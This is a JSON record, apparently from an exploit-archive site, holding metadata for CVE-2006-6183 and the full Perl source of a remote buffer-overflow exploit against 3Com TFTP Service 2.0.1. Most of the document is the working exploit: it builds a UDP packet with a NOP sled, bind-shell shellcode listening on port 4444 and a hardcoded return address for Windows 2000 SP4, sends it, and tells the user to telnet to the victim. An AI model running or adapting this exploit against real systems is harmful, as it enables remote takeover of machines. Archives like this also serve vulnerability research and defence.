{"exploit":{"id":"EDB-3388","name":"3Com TFTP Service (3CTftpSvc) 2.0.1 - Long Transporting Mode","description":"3Com TFTP Service (3CTftpSvc) 2.0.1 - Long Transporting Mode","cves":["CVE-2006-6183"],"author":"Umesh Wanve","published":"2007-02-28","platform":"windows","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3388","path":"exploits/windows/remote/3388.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3388.pl","vulnerabilities":[{"id":"CVE-2006-6183","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple stack-based buffer overflows in 3Com 3CTftpSvc 2.0.1, and possibly earlier, allow remote attackers to cause a denial of service (crash) or execute arbitrary code via a long mode field (aka transporting mode) in a (1) GET or (2) PUT command.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-6183","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-6183"},"updatedAt":"2024-08-07T20:19:35.097Z","retrievedAt":"2026-11-26T19:55:27.923Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3388.png?v=2","url":"https://exploitbin.com/exploits/EDB-3388","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3388/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3388/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl -w\n# ===============================================================================================\n#                3Com TFTP Service <= 2.0.1 (Long Transporting Mode) Overflow Perl Exploit\n#                               By Umesh Wanve (umesh_345@yahoo.com)\n# ==============================================================================================\n# Credits : Liu Qixu is credited with the discovery of this vulnerability.\n#\n# Reference : https://www.securityfocus.com/bid/21301\n#\n# Date : 27-02-2007\n#\n# Tested on Windows 2000 SP4 Server English\n#           Windows 2000 SP4 Professional English\n#\n# You can replace shellcode with your favourite one :)\n#\n#\n# Buffer overflow exists in transporting mode name of TFTP server.\n#\n# So here you go.\n#\n# Buffer = \"\\x00\\x02\"      +  \"filename\"    +  \"\\x00\" +  nop sled +  Shellcode + JUMP  + \"\\x00\";\n#\n#\n# This was written for educational purpose. Use it at your own risk.Author will be not be responsible for any damage.\n#\n# #\n#===============================================================================================\nuse IO::Socket;\n\nif(!($ARGV[1]))\n{\n print \"\\n3COM Tftp long transport name exploit\\n\";\n print \"\\tCoded by Umesh wanve\\n\\n\";\n print \"Use: 3com_tftp.pl <host> <port>\\n\\n\";\n exit;\n}\n\n\n$target = IO::Socket::INET->new(Proto=>'udp',\n                                PeerAddr=>$ARGV[0],\n                                PeerPort=>$ARGV[1])\n                            or die \"Cannot connect to $ARGV[0] on port $ARGV[1]\";\n\n\n\n# win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com\n\nmy($shellcode)=\n\"\\x31\\xc9\\x83\\xe9\\xb0\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x48\".\n\"\\xc8\\xb3\\x54\\x83\\xeb\\xfc\\xe2\\xf4\\xb4\\xa2\\x58\\x19\\xa0\\x31\\x4c\\xab\".\n\"\\xb7\\xa8\\x38\\x38\\x6c\\xec\\x38\\x11\\x74\\x43\\xcf\\x51\\x30\\xc9\\x5c\\xdf\".\n\"\\x07\\xd0\\x38\\x0b\\x68\\xc9\\x58\\x1d\\xc3\\xfc\\x38\\x55\\xa6\\xf9\\x73\\xcd\".\n\"\\xe4\\x4c\\x73\\x20\\x4f\\x09\\x79\\x59\\x49\\x0a\\x58\\xa0\\x73\\x9c\\x97\\x7c\".\n\"\\x3d\\x2d\\x38\\x0b\\x6c\\xc9\\x58\\x32\\xc3\\xc4\\xf8\\xdf\\x17\\xd4\\xb2\\xbf\".\n\"\\x4b\\xe4\\x38\\xdd\\x24\\xec\\xaf\\x35\\x8b\\xf9\\x68\\x30\\xc3\\x8b\\x83\\xdf\".\n\"\\x08\\xc4\\x38\\x24\\x54\\x65\\x38\\x14\\x40\\x96\\xdb\\xda\\x06\\xc6\\x5f\\x04\".\n\"\\xb7\\x1e\\xd5\\x07\\x2e\\xa0\\x80\\x66\\x20\\xbf\\xc0\\x66\\x17\\x9c\\x4c\\x84\".\n\"\\x20\\x03\\x5e\\xa8\\x73\\x98\\x4c\\x82\\x17\\x41\\x56\\x32\\xc9\\x25\\xbb\\x56\".\n\"\\x1d\\xa2\\xb1\\xab\\x98\\xa0\\x6a\\x5d\\xbd\\x65\\xe4\\xab\\x9e\\x9b\\xe0\\x07\".\n\"\\x1b\\x9b\\xf0\\x07\\x0b\\x9b\\x4c\\x84\\x2e\\xa0\\xa2\\x08\\x2e\\x9b\\x3a\\xb5\".\n\"\\xdd\\xa0\\x17\\x4e\\x38\\x0f\\xe4\\xab\\x9e\\xa2\\xa3\\x05\\x1d\\x37\\x63\\x3c\".\n\"\\xec\\x65\\x9d\\xbd\\x1f\\x37\\x65\\x07\\x1d\\x37\\x63\\x3c\\xad\\x81\\x35\\x1d\".\n\"\\x1f\\x37\\x65\\x04\\x1c\\x9c\\xe6\\xab\\x98\\x5b\\xdb\\xb3\\x31\\x0e\\xca\\x03\".\n\"\\xb7\\x1e\\xe6\\xab\\x98\\xae\\xd9\\x30\\x2e\\xa0\\xd0\\x39\\xc1\\x2d\\xd9\\x04\".\n\"\\x11\\xe1\\x7f\\xdd\\xaf\\xa2\\xf7\\xdd\\xaa\\xf9\\x73\\xa7\\xe2\\x36\\xf1\\x79\".\n\"\\xb6\\x8a\\x9f\\xc7\\xc5\\xb2\\x8b\\xff\\xe3\\x63\\xdb\\x26\\xb6\\x7b\\xa5\\xab\".\n\"\\x3d\\x8c\\x4c\\x82\\x13\\x9f\\xe1\\x05\\x19\\x99\\xd9\\x55\\x19\\x99\\xe6\\x05\".\n\"\\xb7\\x18\\xdb\\xf9\\x91\\xcd\\x7d\\x07\\xb7\\x1e\\xd9\\xab\\xb7\\xff\\x4c\\x84\".\n\"\\xc3\\x9f\\x4f\\xd7\\x8c\\xac\\x4c\\x82\\x1a\\x37\\x63\\x3c\\xb8\\x42\\xb7\\x0b\".\n\"\\x1b\\x37\\x65\\xab\\x98\\xc8\\xb3\\x54\";\n\n\n\nprint \"++ Building Malicous Packet .....\\n\";\n\n$nop=\"\\x90\" x 129;\n\n\n$jmp_2000 = \"\\x0e\\x08\\xe5\\x77\";                              # jmp esi user32.dll windows 2000 sp4 english (on 27-02-2007)\n\n\n$exploit = \"\\x00\\x02\";                                      #write request (header)\n\n$exploit=$exploit.\"A\";                                      #file name\n\n$exploit=$exploit.\"\\x00\";                                   #Start of transporting name\n\n$exploit=$exploit.$nop;                                     #nop sled to land into shellcode\n\n$exploit=$exploit.$shellcode;                               #our Hell code\n\n$exploit=$exploit.$jmp_2000;                               #jump to shellcode\n\n$exploit=$exploit.\"\\x00\";                                   #end of TS mode name\n\n\n\nprint $target $exploit;                                     #Attack on victim\n\nprint \"++ Exploit packet sent ...\\n\";\n\nprint \"++ Done.\\n\";\n\nprint \"++ Telnet to 4444 on victim's machine ....\\n\";\nsleep(2);\n\n\nclose($target);\n\nexit;\n\n#------------------------------------------------------------------------------------------------------------\n\n# milw0rm.com [2007-02-28]","sha256":"6fadaab7d1a854d993311482e885043246b3a40a7c1c0b06443445ffa10ab895","bytes":4225,"fetchedAt":"2026-11-27T09:07:29.197Z","encoding":"utf-8 (display only; download retains original bytes)"}